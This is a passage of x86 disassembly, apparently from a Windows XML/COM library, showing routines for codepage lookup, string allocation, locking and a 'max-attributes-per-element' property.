push esi
mov esi, [ebp+arg_4]
add esi, esi
lea eax, [esi+2]
push eax
mov [ebp+arg_4], esi
call sub_69B11E44
test eax, eax
mov [ebx+4], eax
jnz short loc_69B3707E
mov eax, [ebx]
push 1
mov ecx, ebx
call dword ptr [eax]
xor eax, eax
jmp short loc_69B370AE
; ---------------------------------------------------------------------------
loc_69B3707E: ; CODE XREF: sub_69B37036+3Aj
push edi
mov edi, eax
mov ecx, esi
mov esi, [ebp+arg_0]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebx+4]
mov ecx, [ebp+arg_4]
and word ptr [ecx+eax], 0
mov al, [ebp+arg_8]
mov [ebx+8], al
mov al, [ebp+arg_C]
mov [ebx+9], al
mov eax, ebx
pop edi
loc_69B370AE: ; CODE XREF: sub_69B37036+46j
pop esi
loc_69B370AF: ; CODE XREF: sub_69B37036+21j
pop ebx
pop ebp
retn 10h
sub_69B37036 endp
; =============== S U B R O U T I N E =======================================
sub_69B370B4 proc near ; CODE XREF: sub_69B372FA+3p
mov dword ptr [ecx], offset off_69B276A8
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_69B370C7
push ecx
call sub_69B1B2B7
locret_69B370C7: ; CODE XREF: sub_69B370B4+Bj
retn
sub_69B370B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B370C8(OLECHAR *, int, int)
sub_69B370C8 proc near ; CODE XREF: sub_69B371A8+15p
; sub_69B37251+15p ...
var_84 = byte ptr -84h
CodePage = dword ptr -80h
CPInfo = _cpinfo ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 84h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
push edi
push offset sub_69B3693B
push 1Bh
push [ebp+arg_0]
mov [ebp+var_4], eax
call sub_69B3694C
mov ebx, ds:GetCPInfo
mov edi, eax
test edi, edi
jl short loc_69B37133
lea esi, [edi+edi*2]
shl esi, 3
cmp ds:byte_69B2719C[esi], 0
jz short loc_69B37119
lea eax, [ebp+CPInfo]
push eax ; lpCPInfo
push ds:dword_69B27198[esi] ; CodePage
call ebx ; GetCPInfo
test eax, eax
jz short loc_69B37133
loc_69B37119: ; CODE XREF: sub_69B370C8+3Fj
mov eax, ds:dword_69B27198[esi]
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov eax, ds:dword_69B271A4[esi]
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, edi
jmp short loc_69B37196
; ---------------------------------------------------------------------------
loc_69B37133: ; CODE XREF: sub_69B370C8+30j
; sub_69B370C8+4Fj
call sub_69B3698E
test eax, eax
jnz short loc_69B37193
push [ebp+arg_0] ; OLECHAR *
call SysAllocString
mov esi, eax
test esi, esi
jz short loc_69B37193
mov eax, ppv
mov ecx, [eax]
lea edx, [ebp+var_84]
push edx
push esi
push eax
call dword ptr [ecx+1Ch]
push esi ; BSTR
mov edi, eax
call SysFreeString
test edi, edi
jnz short loc_69B37193
mov eax, [ebp+CodePage]
mov ecx, [ebp+arg_4]
mov [ecx], eax
lea ecx, [ebp+CPInfo]
push ecx ; lpCPInfo
push eax ; CodePage
call ebx ; GetCPInfo
test eax, eax
mov eax, [ebp+arg_8]
jz short loc_69B37188
mov ecx, [ebp+CPInfo.MaxCharSize]
mov [eax], ecx
jmp short loc_69B3718E
; ---------------------------------------------------------------------------
loc_69B37188: ; CODE XREF: sub_69B370C8+B7j
mov dword ptr [eax], 4
loc_69B3718E: ; CODE XREF: sub_69B370C8+BEj
or eax, 0FFFFFFFFh
jmp short loc_69B37196
; ---------------------------------------------------------------------------
loc_69B37193: ; CODE XREF: sub_69B370C8+72j
; sub_69B370C8+81j ...
push 0FFFFFFFEh
pop eax
loc_69B37196: ; CODE XREF: sub_69B370C8+69j
; sub_69B370C8+C9j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop edi
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 0Ch
sub_69B370C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B371A8 proc near ; CODE XREF: sub_69B360BA+131p
; sub_69B361FC+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_C] ; int
mov edi, [ebp+arg_4]
push edi ; int
push dword ptr [esi+4] ; OLECHAR *
xor ebx, ebx
call sub_69B370C8
test eax, eax
jl short loc_69B3721B
mov edi, [edi]
cmp edi, 4B0h
jz short loc_69B37202
cmp edi, 2EE0h
jz short loc_69B371E9
mov ecx, [ebp+arg_8]
lea eax, [eax+eax*2]
mov eax, ds:off_69B271A8[eax*8]
mov [ecx], eax
jmp short loc_69B37248
; ---------------------------------------------------------------------------
loc_69B371E9: ; CODE XREF: sub_69B371A8+2Ej
cmp byte ptr [esi+8], 0
mov eax, [ebp+arg_8]
jz short loc_69B371FA
mov dword ptr [eax], offset sub_69B36C62
jmp short loc_69B37248
; ---------------------------------------------------------------------------
loc_69B371FA: ; CODE XREF: sub_69B371A8+48j
mov dword ptr [eax], offset sub_69B36C05
jmp short loc_69B37248
; ---------------------------------------------------------------------------
loc_69B37202: ; CODE XREF: sub_69B371A8+26j
cmp byte ptr [esi+8], 0
mov eax, [ebp+arg_8]
jz short loc_69B37213
mov dword ptr [eax], offset sub_69B36BC1
jmp short loc_69B37248
; ---------------------------------------------------------------------------
loc_69B37213: ; CODE XREF: sub_69B371A8+61j
mov dword ptr [eax], offset sub_69B36B7A
jmp short loc_69B37248
; ---------------------------------------------------------------------------
loc_69B3721B: ; CODE XREF: sub_69B371A8+1Cj
cmp eax, 0FFFFFFFFh
jnz short loc_69B37243
mov eax, ppv
mov ecx, [eax]
push 4B0h
push dword ptr [edi]
push eax
call dword ptr [ecx+20h]
mov ebx, eax
test ebx, ebx
jnz short loc_69B37248
mov eax, [ebp+arg_8]
mov dword ptr [eax], offset sub_69B36CF7
jmp short loc_69B37248
; ---------------------------------------------------------------------------
loc_69B37243: ; CODE XREF: sub_69B371A8+76j
mov ebx, 80004005h
loc_69B37248: ; CODE XREF: sub_69B371A8+3Fj
; sub_69B371A8+50j ...
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 10h
sub_69B371A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B37251 proc near ; CODE XREF: sub_69B3683A+77p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_C] ; int
mov edi, [ebp+arg_4]
push edi ; int
push dword ptr [esi+4] ; OLECHAR *
xor ebx, ebx
call sub_69B370C8
test eax, eax
jl short loc_69B372C4
mov edi, [edi]
cmp edi, 4B0h
jz short loc_69B372AB
cmp edi, 2EE0h
jz short loc_69B37292
mov ecx, [ebp+arg_8]
lea eax, [eax+eax*2]
mov eax, ds:off_69B271AC[eax*8]
mov [ecx], eax
jmp short loc_69B372F1
; ---------------------------------------------------------------------------
loc_69B37292: ; CODE XREF: sub_69B37251+2Ej
cmp byte ptr [esi+8], 0
mov eax, [ebp+arg_8]
jz short loc_69B372A3
mov dword ptr [eax], offset sub_69B36DF4
jmp short loc_69B372F1
; ---------------------------------------------------------------------------
loc_69B372A3: ; CODE XREF: sub_69B37251+48j
mov dword ptr [eax], offset sub_69B36DA2
jmp short loc_69B372F1
; ---------------------------------------------------------------------------
loc_69B372AB: ; CODE XREF: sub_69B37251+26j
cmp byte ptr [esi+8], 0
mov eax, [ebp+arg_8]
jz short loc_69B372BC
mov dword ptr [eax], offset sub_69B36D70
jmp short loc_69B372F1
; ---------------------------------------------------------------------------
loc_69B372BC: ; CODE XREF: sub_69B37251+61j
mov dword ptr [eax], offset sub_69B36D2A
jmp short loc_69B372F1
; ---------------------------------------------------------------------------
loc_69B372C4: ; CODE XREF: sub_69B37251+1Cj
cmp eax, 0FFFFFFFFh
jnz short loc_69B372EC
push dword ptr [edi]
mov eax, ppv
mov ecx, [eax]
push 4B0h
push eax
call dword ptr [ecx+20h]
mov ebx, eax
test ebx, ebx
jnz short loc_69B372EC
mov eax, [ebp+arg_8]
mov dword ptr [eax], offset sub_69B37003
jmp short loc_69B372F1
; ---------------------------------------------------------------------------
loc_69B372EC: ; CODE XREF: sub_69B37251+76j
; sub_69B37251+8Ej
mov ebx, 80004005h
loc_69B372F1: ; CODE XREF: sub_69B37251+3Fj
; sub_69B37251+50j ...
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 10h
sub_69B37251 endp
; =============== S U B R O U T I N E =======================================
sub_69B372FA proc near ; DATA XREF: .text:off_69B276A8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B370B4
test [esp+4+arg_0], 1
jz short loc_69B3730F
push esi
call sub_69B1B2B7
loc_69B3730F: ; CODE XREF: sub_69B372FA+Dj
mov eax, esi
pop esi
retn 4
sub_69B372FA endp
; =============== S U B R O U T I N E =======================================
sub_69B37315 proc near ; CODE XREF: sub_69B3937E+FDp
; sub_69B39507+D4p ...
mov eax, [ecx+0ACh]
test eax, eax
jnz short locret_69B37330
cmp [ecx+0BCh], eax
jz short loc_69B3732E
mov eax, [ecx+0B4h]
retn
; ---------------------------------------------------------------------------
loc_69B3732E: ; CODE XREF: sub_69B37315+10j
xor eax, eax
locret_69B37330: ; CODE XREF: sub_69B37315+8j
retn
sub_69B37315 endp
; =============== S U B R O U T I N E =======================================
sub_69B37331 proc near ; CODE XREF: sub_69B39325+4Ep
push esi
mov esi, ecx
lea eax, [esi+90h]
push eax ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
xor eax, eax
mov [esi+14h], eax
mov [esi+78h], eax
mov [esi+74h], eax
mov [esi+80h], eax
mov [esi+86h], ax
mov [esi+84h], ax
mov [esi+5Ch], eax
mov [esi+2Ah], ax
mov [esi+2Ch], al
mov [esi+20h], eax
mov [esi+30h], eax
mov [esi+0ACh], eax
mov [esi+0B0h], eax
mov [esi+0B4h], eax
mov [esi+38h], al
mov [esi+39h], al
mov [esi+3Bh], al
mov [esi+7Ch], ax
mov [esi+18h], eax
mov [esi+44h], eax
mov [esi+1Ch], eax
mov [esi+26h], al
mov [esi+25h], al
mov [esi+27h], al
mov [esi+24h], al
mov [esi+0B8h], al
mov [esi+0BCh], eax
pop esi
jmp sub_69B1E031
sub_69B37331 endp
; =============== S U B R O U T I N E =======================================
sub_69B373B6 proc near ; DATA XREF: .text:69B27760o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov byte ptr [eax+25h], 1
xor eax, eax
retn 4
sub_69B373B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B373C3 proc near ; DATA XREF: .text:69B27720o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+1Ch]
retn 4
sub_69B373C3 endp
; =============== S U B R O U T I N E =======================================
sub_69B373CD proc near ; DATA XREF: .text:69B27768o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
mov ecx, edx
shr ecx, 2
and cl, 1
mov [eax+2Ch], cl
mov cl, dl
shr cl, 5
and cl, 1
mov [eax+2Ah], dx
mov [eax+41h], cl
mov eax, [eax+14h]
test eax, eax
jz short loc_69B373FE
push edx
mov ecx, eax
call sub_69B31CD2
loc_69B373FE: ; CODE XREF: sub_69B373CD+27j
xor eax, eax
retn 8
sub_69B373CD endp
; =============== S U B R O U T I N E =======================================
sub_69B37403 proc near ; DATA XREF: .text:69B27728o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
movzx eax, word ptr [eax+2Ah]
retn 4
sub_69B37403 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3740E(int, LPCWSTR lpString)
sub_69B3740E proc near ; DATA XREF: .text:69B2776Co
arg_0 = dword ptr 4
lpString = dword ptr 8
push edi
xor edi, edi
cmp [esp+4+lpString], edi
jz short loc_69B3742D
push [esp+4+lpString] ; lpString
call sub_69B8AADD
mov edi, eax
test edi, edi
jnz short loc_69B3742D
mov eax, 8007000Eh
jmp short loc_69B37444
; ---------------------------------------------------------------------------
loc_69B3742D: ; CODE XREF: sub_69B3740E+7j
; sub_69B3740E+16j
push esi
mov esi, [esp+8+arg_0]
add esi, 0ACh
push dword ptr [esi]
call sub_69B1B2B7
mov [esi], edi
xor eax, eax
pop esi
loc_69B37444: ; CODE XREF: sub_69B3740E+1Dj
pop edi
retn 8
sub_69B3740E endp
; =============== S U B R O U T I N E =======================================
sub_69B37448 proc near ; DATA XREF: .text:69B27770o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+0ACh]
mov ecx, [esp+arg_4]
mov [ecx], eax
xor eax, eax
retn 8
sub_69B37448 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3745D(LPCWSTR lpString)
sub_69B3745D proc near ; CODE XREF: sub_69B384B3+94p
; sub_69B3937E+125p ...
lpString = dword ptr 4
push esi
push edi
xor edi, edi
cmp [esp+8+lpString], edi
mov esi, ecx
jz short loc_69B3747F
push [esp+8+lpString] ; lpString
call sub_69B8AADD
mov edi, eax
test edi, edi
jnz short loc_69B3747F
mov eax, 8007000Eh
jmp short loc_69B37490
; ---------------------------------------------------------------------------
loc_69B3747F: ; CODE XREF: sub_69B3745D+Aj
; sub_69B3745D+19j
add esi, 0B0h
push dword ptr [esi]
call sub_69B1B2B7
mov [esi], edi
xor eax, eax
loc_69B37490: ; CODE XREF: sub_69B3745D+20j
pop edi
pop esi
retn 4
sub_69B3745D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B37495(LPCWSTR lpString)
sub_69B37495 proc near ; CODE XREF: sub_69B3DD97+65p
lpString = dword ptr 4
push esi
push edi
xor edi, edi
cmp [esp+8+lpString], edi
mov esi, ecx
jz short loc_69B374B7
push [esp+8+lpString] ; lpString
call sub_69B8AADD
mov edi, eax
test edi, edi
jnz short loc_69B374B7
mov eax, 8007000Eh
jmp short loc_69B374C8
; ---------------------------------------------------------------------------
loc_69B374B7: ; CODE XREF: sub_69B37495+Aj
; sub_69B37495+19j
add esi, 0B4h
push dword ptr [esi]
call sub_69B1B2B7
mov [esi], edi
xor eax, eax
loc_69B374C8: ; CODE XREF: sub_69B37495+20j
pop edi
pop esi
retn 4
sub_69B37495 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B374CD(int, int, VARIANTARG pvarSrc)
sub_69B374CD proc near ; DATA XREF: .text:69B2777Co
pvargDest = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
pvarSrc = VARIANTARG ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_4]
push 1Ah
push offset aMaxAttributesP ; "max-attributes-per-element"
push esi
call sub_69B84AC0
add esp, 0Ch
test eax, eax
jnz short loc_69B3751D
cmp [esi+34h], ax
jnz short loc_69B3751D
and word ptr [ebp+pvargDest.anonymous_0], ax
push 3 ; vt
push eax ; wFlags
push 409h ; lcid
lea eax, [ebp+pvarSrc]
push eax ; pvarSrc
lea eax, [ebp+pvargDest]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jl short loc_69B37522
mov ecx, [ebp+arg_0]
mov edx, dword ptr [ebp+pvargDest.anonymous_0+8]
mov [ecx+0C0h], edx
jmp short loc_69B37522
; ---------------------------------------------------------------------------
loc_69B3751D: ; CODE XREF: sub_69B374CD+1Cj
; sub_69B374CD+22j
mov eax, 80070057h
loc_69B37522: ; CODE XREF: sub_69B374CD+40j
; sub_69B374CD+4Ej
pop esi
leave
retn 18h
sub_69B374CD endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B37527(int, int, VARIANTARG *pvarg)
sub_69B37527 proc near ; DATA XREF: .text:69B27780o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pvarg = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
push 1Ah
push offset aMaxAttributesP ; "max-attributes-per-element"
push esi
call sub_69B84AC0
add esp, 0Ch
test eax, eax
jnz short loc_69B3756E
cmp [esi+34h], ax
jnz short loc_69B3756E
mov esi, [esp+4+pvarg]
push esi ; pvarg
call VariantInit
mov eax, [esp+4+arg_0]
mov word ptr [esi], 3
mov eax, [eax+0C0h]
test eax, eax
jge short loc_69B37567
or eax, 0FFFFFFFFh
loc_69B37567: ; CODE XREF: sub_69B37527+3Bj
mov [esi+8], eax
xor eax, eax
jmp short loc_69B37573
; ---------------------------------------------------------------------------
loc_69B3756E: ; CODE XREF: sub_69B37527+17j
; sub_69B37527+1Dj
mov eax, 80070057h
loc_69B37573: ; CODE XREF: sub_69B37527+45j
pop esi
retn 0Ch
sub_69B37527 endp
; =============== S U B R O U T I N E =======================================
sub_69B37577 proc near ; CODE XREF: sub_69B375AE+1Ep
; sub_69B37B4D+80p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
push dword ptr [esi+24h]
call sub_69B1B2B7
mov edi, [esp+8+arg_4]
and dword ptr [esi+24h], 0
lea eax, [edi+edi]
push eax
call sub_69B11E44
test eax, eax
mov [esi+24h], eax
jnz short loc_69B375A4
mov eax, 8007000Eh
jmp short loc_69B375A9
; ---------------------------------------------------------------------------
loc_69B375A4: ; CODE XREF: sub_69B37577+24j
mov [esi+28h], edi
xor eax, eax
loc_69B375A9: ; CODE XREF: sub_69B37577+2Bj
pop edi
pop esi
retn 8
sub_69B37577 endp
; =============== S U B R O U T I N E =======================================
sub_69B375AE proc near ; CODE XREF: sub_69B37DFC+22p
; sub_69B38A09+463p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov eax, [ebx+24h]
cmp eax, [ebx+10h]
push ebp
jz short loc_69B375F6
mov ebp, [ebx+14h]
lea eax, [ebp+1]
cmp [ebx+28h], eax
jnb short loc_69B375D5
lea eax, [ebp+32h]
push eax
push ebx
call sub_69B37577
test eax, eax
jl short loc_69B375F8
loc_69B375D5: ; CODE XREF: sub_69B375AE+17j
test ebp, ebp
jbe short loc_69B375E8
push esi
mov esi, [ebx+10h]
push edi
mov edi, [ebx+24h]
mov ecx, ebp
rep movsw
pop edi
pop esi
loc_69B375E8: ; CODE XREF: sub_69B375AE+29j
mov eax, [ebx+24h]
and word ptr [eax+ebp*2], 0
mov eax, [ebx+24h]
mov [ebx+10h], eax
loc_69B375F6: ; CODE XREF: sub_69B375AE+Cj
xor eax, eax
loc_69B375F8: ; CODE XREF: sub_69B375AE+25j
pop ebp
pop ebx
retn 4
sub_69B375AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B375FD proc near ; DATA XREF: .text:off_69B276F8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B37618
mov eax, 80004005h
jmp locret_69B376A5
; ---------------------------------------------------------------------------
loc_69B37618: ; CODE XREF: sub_69B375FD+Fj
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 4
pop edx
mov ecx, edx
mov edi, offset stru_69B1CA6C
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B37687
mov ecx, edx
mov edi, offset dword_69B376BC
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B37687
mov ecx, edx
mov edi, offset stru_69B25E84
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B37687
mov ecx, edx
mov edi, offset dword_69B376AC
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B37687
mov ecx, edx
mov edi, offset dword_69B25E74
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B37687
mov esi, eax
mov ecx, edx
mov edi, offset dword_69B376CC
xor eax, eax
repe cmpsd
jz short loc_69B37687
mov eax, [ebp+arg_8]
and [eax], ebx
mov esi, 80004002h
jmp short loc_69B37697
; ---------------------------------------------------------------------------
loc_69B37687: ; CODE XREF: sub_69B375FD+31j
; sub_69B375FD+40j ...
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor esi, esi
loc_69B37697: ; CODE XREF: sub_69B375FD+88j
push [ebp+var_4]
call dword_69B92944
pop edi
mov eax, esi
pop esi
pop ebx
locret_69B376A5: ; CODE XREF: sub_69B375FD+16j
leave
retn 0Ch
sub_69B375FD endp
; ---------------------------------------------------------------------------
align 4
dword_69B376AC dd 50FB5B1Ah, 4FF4A75Ch, 0C614B286h, 0CCE28921h
; DATA XREF: sub_69B375FD+53o
dword_69B376BC dd 0D242361Dh, 11D251A0h, 6000AF9Ch, 393DECB0hdword_69B376CC dd 0A79B04FEh, 11D28B3Ch, 6000D39Ch, 303DECB0h
; =============== S U B R O U T I N E =======================================
sub_69B376DC proc near ; DATA XREF: .text:69B276FCo
arg_0 = dword ptr 4
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B376F0
mov eax, 80004005h
jmp short loc_69B37709
; ---------------------------------------------------------------------------
loc_69B376F0: ; CODE XREF: sub_69B376DC+Bj
mov ecx, [esp+4+arg_0]
push esi
add ecx, 4
call sub_69B18E54
push edi
mov esi, eax
call dword_69B92944
mov eax, esi
pop esi
loc_69B37709: ; CODE XREF: sub_69B376DC+12j
pop edi
retn 4
sub_69B376DC endp
; =============== S U B R O U T I N E =======================================
sub_69B3770D proc near ; DATA XREF: .text:69B27700o
arg_0 = dword ptr 4
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B37721
mov eax, 80004005h
jmp short loc_69B3773A
; ---------------------------------------------------------------------------
loc_69B37721: ; CODE XREF: sub_69B3770D+Bj
mov ecx, [esp+4+arg_0]
push esi
add ecx, 4
call sub_69B19038
push edi
mov esi, eax
call dword_69B92944
mov eax, esi
pop esi
loc_69B3773A: ; CODE XREF: sub_69B3770D+12j
pop edi
retn 4
sub_69B3770D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3773E proc near ; DATA XREF: .text:69B2774Co
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B37758
mov eax, 80004005h
jmp short loc_69B377A5
; ---------------------------------------------------------------------------
loc_69B37758: ; CODE XREF: sub_69B3773E+11j
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_C]
push ebx
call sub_69B1A8C7
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, [esi+14h]
push 0
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B35A2B
push edi ; lpCriticalSection
mov esi, eax
call ds:LeaveCriticalSection
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
pop edi
mov eax, esi
pop esi
loc_69B377A5: ; CODE XREF: sub_69B3773E+18j
pop ebx
leave
retn 0Ch
sub_69B3773E endp
; =============== S U B R O U T I N E =======================================
sub_69B377AA proc near ; DATA XREF: .text:69B27750o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B377BE
mov eax, 80004005h
jmp short loc_69B377F0
; ---------------------------------------------------------------------------
loc_69B377BE: ; CODE XREF: sub_69B377AA+Bj
push esi
mov esi, [esp+8+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, [esp+0Ch+arg_4]
push edi ; lpCriticalSection
mov [esi+18h], eax
mov [esi+88h], eax
call ds:LeaveCriticalSection
push ebx
call dword_69B92944
pop edi
xor eax, eax
pop esi
loc_69B377F0: ; CODE XREF: sub_69B377AA+12j
pop ebx
retn 8
sub_69B377AA endp
; =============== S U B R O U T I N E =======================================
sub_69B377F4 proc near ; DATA XREF: .text:69B27754o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B37808
mov eax, 80004005h
jmp short loc_69B37843
; ---------------------------------------------------------------------------
loc_69B37808: ; CODE XREF: sub_69B377F4+Bj
push esi
mov esi, [esp+8+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, [esp+0Ch+arg_4]
test eax, eax
jnz short loc_69B3782A
mov esi, 80070057h
jmp short loc_69B37831
; ---------------------------------------------------------------------------
loc_69B3782A: ; CODE XREF: sub_69B377F4+2Dj
mov ecx, [esi+18h]
mov [eax], ecx
xor esi, esi
loc_69B37831: ; CODE XREF: sub_69B377F4+34j
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
push ebx
call dword_69B92944
pop edi
mov eax, esi
pop esi
loc_69B37843: ; CODE XREF: sub_69B377F4+12j
pop ebx
retn 8
sub_69B377F4 endp
; =============== S U B R O U T I N E =======================================
sub_69B37847 proc near ; DATA XREF: .text:69B27708o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
test ecx, ecx
jnz short loc_69B37856
mov eax, 80070057h
jmp short locret_69B37873
; ---------------------------------------------------------------------------
loc_69B37856: ; CODE XREF: sub_69B37847+6j
mov eax, [esp+arg_0]
mov eax, [eax+8Ch]
test eax, eax
jz short loc_69B3786E
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_69B37871
; ---------------------------------------------------------------------------
loc_69B3786E: ; CODE XREF: sub_69B37847+1Bj
and dword ptr [ecx], 0
loc_69B37871: ; CODE XREF: sub_69B37847+25j
xor eax, eax
locret_69B37873: ; CODE XREF: sub_69B37847+Dj
retn 8
sub_69B37847 endp
; =============== S U B R O U T I N E =======================================
sub_69B37876 proc near ; DATA XREF: .text:69B2775Co
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
xor eax, eax
cmp [esi+1Ch], eax
jz short loc_69B37894
push 3
jmp short loc_69B378BB
; ---------------------------------------------------------------------------
loc_69B37894: ; CODE XREF: sub_69B37876+18j
cmp [esi+26h], al
jz short loc_69B3789D
push 4
jmp short loc_69B378BB
; ---------------------------------------------------------------------------
loc_69B3789D: ; CODE XREF: sub_69B37876+21j
cmp [esi+25h], al
jz short loc_69B378A6
push 5
jmp short loc_69B378BB
; ---------------------------------------------------------------------------
loc_69B378A6: ; CODE XREF: sub_69B37876+2Aj
cmp [esi+27h], al
jnz short loc_69B378AF
xor esi, esi
jmp short loc_69B378BC
; ---------------------------------------------------------------------------
loc_69B378AF: ; CODE XREF: sub_69B37876+33j
cmp [esi+24h], al
jz short loc_69B378B9
xor esi, esi
inc esi
jmp short loc_69B378BC
; ---------------------------------------------------------------------------
loc_69B378B9: ; CODE XREF: sub_69B37876+3Cj
push 2
loc_69B378BB: ; CODE XREF: sub_69B37876+1Cj
; sub_69B37876+25j ...
pop esi
loc_69B378BC: ; CODE XREF: sub_69B37876+37j
; sub_69B37876+41j
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn 4
sub_69B37876 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B378CA(int, OLECHAR *)
sub_69B378CA proc near ; DATA XREF: .text:69B2770Co
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B378E4
mov eax, 80004005h
jmp short locret_69B37963
; ---------------------------------------------------------------------------
loc_69B378E4: ; CODE XREF: sub_69B378CA+11j
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_10]
push eax
call sub_69B1A8C7
lea ebx, [esi+90h]
push ebx ; lpCriticalSection
mov byte ptr [esi+26h], 1
mov byte ptr [esi+25h], 1
call ds:EnterCriticalSection
mov eax, [esi+20h]
test eax, eax
jz short loc_69B3791C
push eax ; BSTR
call SysFreeString
loc_69B3791C: ; CODE XREF: sub_69B378CA+49j
push [ebp+arg_4] ; OLECHAR *
call SysAllocString
mov edi, [esi+50h]
mov [esi+20h], eax
jmp short loc_69B37943
; ---------------------------------------------------------------------------
loc_69B3792D: ; CODE XREF: sub_69B378CA+7Aj
mov eax, [esi+48h]
mov ecx, [esi+4Ch]
imul eax, edi
mov ecx, [eax+ecx+4]
test ecx, ecx
jz short loc_69B37943
call sub_69B3A189
loc_69B37943: ; CODE XREF: sub_69B378CA+61j
; sub_69B378CA+72j
dec edi
jns short loc_69B3792D
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
pop edi
pop esi
xor eax, eax
pop ebx
locret_69B37963: ; CODE XREF: sub_69B378CA+18j
leave
retn 8
sub_69B378CA endp
; =============== S U B R O U T I N E =======================================
sub_69B37967 proc near ; DATA XREF: .text:69B27710o
